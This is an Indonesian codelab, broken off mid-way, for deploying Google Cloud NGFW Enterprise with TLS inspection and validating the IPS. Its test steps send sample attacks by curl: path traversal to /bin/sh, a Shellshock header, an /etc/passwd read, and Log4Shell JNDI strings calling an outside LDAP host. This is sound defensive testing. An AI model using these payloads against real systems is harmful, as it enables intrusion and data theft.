Codelab Cloud NGFW Enterprise [dengan TLS Inspection]

1. Pengantar

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang menyeluruh untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.

Cloud NGFW memiliki manfaat berikut:

  • Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mewujudkan arsitektur keamanan zero-trust.
  • Penyederhanaan konfigurasi dan deployment: Cloud NGFW menerapkan kebijakan firewall hierarkis dan jaringan yang dapat ditambahkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
  • Kontrol terperinci dan segmentasi mikro: Kombinasi kebijakan firewall dan Tag yang diatur Pengelolaan Akses dan Identitas (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan dan organisasi Virtual Private Cloud (VPC).

Cloud NGFW tersedia dalam tingkat berikut:

  • Dasar-Dasar Firewall Cloud Generasi Berikutnya
  • Standar Firewall Cloud Next Generation
  • Firewall Perusahaan Generasi Berikutnya Cloud

Cloud NGFW Enterprise

Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), yakni kemampuan Lapisan 7, ke sistem Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk memungkinkan pemeriksaan traffic yang dienkripsi TLS.

Kini Anda dapat men-deploy pemeriksaan Layer 7 Next Generation Firewall (NGFW) yang andal dengan kontrol terperinci, tanpa perlu mengubah arsitektur jaringan atau konfigurasi pemilihan rute Anda.

Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda harus melakukan tugas berikut:

  • Buat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
  • (Opsional) Buat Kebijakan Inspeksi TLS.
  • Secara opsional, buat Trust Config.
  • Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
  • Buat perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada guna menentukan profil pencegahan ancaman untuk berbagai jalur traffic.

Kebijakan firewall jaringan

Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan tersebut dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait dengannya. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) pada aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.

Berbagi kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.

Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:

  1. Kebijakan Firewall Hierarkis
  2. Aturan Firewall VPC
  3. Kebijakan Firewall Jaringan ( Global dan Regional)

Kebijakan firewall hierarkis didukung di node folder dan organisasi dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah bahwa aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dikaitkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.

Terakhir, kita juga memiliki aturan firewall implisit yang disertakan dengan setiap jaringan VPC:

  • Aturan keluar yang tindakannya diizinkan, tujuannya adalah 0.0.0.0/0
  • Aturan masuk yang tindakannya ditolak, sumbernya adalah 0.0.0.0/0

Secara default, urutan penerapan ditampilkan dalam diagram berikut:

21b3bcabc469ffe.png

Perlu diperhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan perintah penerapan kapan saja dengan perintah gcloud.

Tag

Tag baru yang terintegrasi dalam aturan kebijakan firewall jaringan adalah resource pasangan nilai kunci yang ditentukan di organisasi atau level project dalam hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM yang menentukan siapa yang dapat melakukan apa pada tag. Misalnya, izin Idenity and Access Management (IAM), memungkinkan Anda menentukan akun utama yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Jika aturan firewall jaringan mereferensikan Tag, aturan tersebut harus diterapkan ke resource, untuk penerapan.

Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diturunkan di seluruh hierarki dari induknya. Akibatnya, tag mungkin dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.

Tag tidak sama dengan tag jaringan. Yang disebut terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; terhubung dengan instance dan menghilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.

Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.

Yang akan Anda bangun

Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC serta mengelola sejumlah resource keamanan dan jaringan. Contoh ini akan mendemonstrasikan bagaimana Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:

  • Memeriksa aliran internet menuju utara dengan inspeksi TLS
  • Memeriksa alur intra-vpc [East-West] dengan inspeksi TLS

Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall yang mencakup 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag.

3d0f288d3b92a295.pngS

Status akhir basis aturan kebijakan firewall jaringan akan serupa dengan tabel di bawah:

Prioritas

Arah

Target

Sumber

Tujuan

Tindakan

Jenis

100

Masuk

Server_Tag

Pemeriksaan Kesehatan

Semua

Izinkan

Essentials

200

Masuk

Client_Tag, Server_Tag

IAP

Semua

Izinkan

Essentials

800

Masuk

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspeksi L7

Enterprise

850

Keluar

Client_Tag

Semua

10.0.0.0/24

Izinkan

Essentials

900

Keluar

Client_Tag

Semua

Semua

Inspeksi L7

Enterprise

Yang akan Anda pelajari

  • Cara membuat kebijakan firewall jaringan.
  • Cara membuat dan menggunakan Tag dengan kebijakan firewall jaringan.
  • Cara mengonfigurasi dan menggunakan Cloud NGFW Enterprise dengan inspeksi TLS.

Yang Anda butuhkan

  • project Google Cloud Anda.
  • Pengetahuan dalam men-deploy instance dan mengonfigurasi komponen jaringan.
  • memiliki pengetahuan konfigurasi firewall VPC.

2. Sebelum memulai

Membuat/memperbarui variabel

Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.

Di Cloud Shell, jalankan perintah di bawah untuk mengganti informasi dalam tanda kurung sesuai kebutuhan:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Mengaktifkan API

Aktifkan API jika Anda belum melakukannya:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Pembuatan Endpoint Cloud NGFW Enterprise

Karena pembuatan Endpoint Cloud NGFW Enterprise memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint dibuat.

Buat Profil Keamanan dan Grup Profil Keamanan:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Output yang diharapkan:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Pastikan resource berhasil dibuat:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Buat endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Proses pembuatan memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.

5. Penyiapan Dasar

Jaringan dan subnet VPC

Jaringan VPC dan subnet

Buat subnet dan jaringan VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Buat Cloud Router dan gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instance

Buat instance klien dan server web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tag tingkat project

Tetapkan izin tagAdmin kepada pengguna jika diperlukan:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Buat kunci Tag level project dan nilai:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Ikat tag dengan instance:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Kebijakan firewall jaringan global

Buat kebijakan firewall jaringan global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Buat aturan Cloud Firewall Essential yang diperlukan untuk mengizinkan traffic dari rentang health-check dan identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Buat aturan Cloud Firewall yang diperlukan untuk mengizinkan traffic masuk ke timur-barat/intra-subnet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise dengan inspeksi TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Kaitkan kebijakan firewall cloud ke jaringan VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Asosiasi Endpoint Cloud Firewall

Tentukan variabel lingkungan jika Anda belum melakukannya dan/atau lebih memilih pendekatan skrip.

Pastikan pembuatan Cloud Firewall Endpoint telah berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Kaitkan endpoint Cloud Firewall ke jaringan VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan ke bagian TLS setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):

gcloud network-security firewall-endpoint-associations list

Output yang diharapkan setelah selesai:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output yang diharapkan:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Mengonfigurasi Resource TLS

Membuat kumpulan CA. Resource ini akan digunakan untuk menyimpan sertifikat Root CA yang kami buat untuk NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Membuat Root CA. Ini adalah Sertifikat CA yang akan digunakan untuk menandatangani sertifikat tambahan untuk permintaan melalui NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Jika Anda diminta dengan pesan di bawah ini, jawab y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Membuat akun layanan. Akun layanan ini akan digunakan untuk meminta sertifikat NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Menetapkan izin IAM untuk akun layanan:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Membuat file YAML Kebijakan TLS. File ini akan berisi informasi tentang resource spesifik:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Impor Kebijakan pemeriksaan TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Update pengaitan endpoint untuk mengaktifkan TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Mendapatkan sertifikat CA dan menambahkannya ke penyimpanan CA klien:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfer sertifikat CA ke klien:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Jalankan SSH ke VM, pindahkan sertifikat CA ke /usr/local/share/ca-certificates dan perbarui penyimpanan CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Keluar kembali ke cloudshell.

Proses Penandatanganan Sertifikat Server:

Di cloudshell, instal library kriptografi Pyca menggunakan perintah pip:

pip install --user "cryptography>=2.2.0"

Untuk mengizinkan Google Cloud SDK menggunakan library kriptografi Pyca, Anda harus mengaktifkan paket situs.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Buat Sertifikat Server:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Tindakan ini akan menghasilkan file cert.pem dan key.pem di cloudshell. Selanjutnya, transfer sertifikat dan kunci ke server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Lakukan SSH ke server untuk memperbarui detail sertifikat untuk Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Pindahkan sertifikat dan kunci ke folder tertentu:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Perbarui konfigurasi SSL untuk menggunakan sertifikat yang ditandatangani:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Mulai ulang Apache:

sudo systemctl restart apache2

Verifikasi status Apache:

sudo systemctl status apache2

Fungsinya harus aktif (berjalan).

Keluar dari VM dan lanjutkan di cloudshell.

8. Validasi Konektivitas Arah Utara dan E/W

Jalankan perintah di bawah di Cloud Shell dan catat IP target yang akan digunakan:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda perlu menentukan variabel di tab baru):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Jalankan perintah di bawah ini dan catat IP target yang akan digunakan. Buat variabel yang mengganti nilai dalam tanda kurung dengan IP yang dicatat dari langkah sebelumnya dan pastikan dapat dijangkau:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Lakukan curl IP Pribadi dan pastikan IP dapat dijangkau:

curl https://$target_privateip --max-time 2

Hasil yang diharapkan untuk permintaan curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Kirim contoh serangan ke IP. Server web harus merespons semua permintaan, mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7 yang diterapkan:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Contoh Hasil yang diharapkan (IP pribadi):

400
404
400
200
200

Demikian pula, kirim permintaan ke tujuan internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Contoh hasil yang diharapkan (tujuan internet):

400
404
400
403
403

Keluar dari terminal VM dan kembali ke Cloud Shell.

9. Membuat dan Memperbarui Aturan Firewall untuk Pemeriksaan TLS

Sebelumnya, kita telah mengonfigurasi aturan firewall untuk mengizinkan traffic masuk ke server dari subnet internal. Sekarang kita akan memperbarui aturan masuk yang ada dan menetapkan tindakan ke apply_security_profile_group. Tindakan ini akan mengaktifkan pemeriksaan E/W L7 dengan TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Buat aturan baru untuk memeriksa inspeksi L7 yang menuju ke arah utara dengan TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Buat aturan baru guna mengizinkan EGRESS untuk E/W guna mencegah pemeriksaan ganda.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Memvalidasi Inspeksi TLS Arah Utara

Pindah kembali ke tab VM klien atau hubungkan lagi:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Kirim contoh serangan ke tujuan internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Tidak ada respons yang diterima sesuai dengan output yang diharapkan di bawah ini, mengonfirmasi bahwa contoh serangan sekarang diblokir:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Tetapkan variabel ke IP server dari sebelumnya:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Kirim contoh permintaan TLS ke server:

curl https://$target_privateip --max-time 2

Output yang diharapkan:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Mengapa permintaan ini gagal? Hal ini terjadi karena Firewall menerima sertifikat dari server yang tidak dapat dipercaya. Jika hal ini terjadi, sertifikat yang ditandatangani sendiri akan diteruskan ke klien. Kita perlu menambahkan sertifikat CA sebagai bagian dari konfigurasi kepercayaan untuk mengaktifkan kepercayaan.

Kembali ke Cloud Shell.

11. Mengonfigurasi Konfigurasi Kepercayaan

Dapatkan Sertifikat Root CA dan tetapkan sebagai variabel dengan pemformatan yang benar.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Mengonfigurasi file YAML Konfigurasi Kepercayaan. File ini berisi detail kepercayaan seperti sertifikat CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Perintah di atas menyertakan sertifikat Root CA sebagai bagian dari trust store karena sertifikat server Anda ditandatangani menggunakan Root CA. Artinya, firewall akan memercayai setiap sertifikat yang diterima yang telah ditandatangani oleh Root CA Anda - selain CA Publik jika kebijakan TLS Anda telah mengecualikan PublicCaSet ke false.

Periksa konten konfigurasi kepercayaan.

cat trust_config.yaml 

Contoh Output:

Perhatikan penyelarasan indentasi sertifikat. URL tersebut harus mengikuti format ini dengan sama persis.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
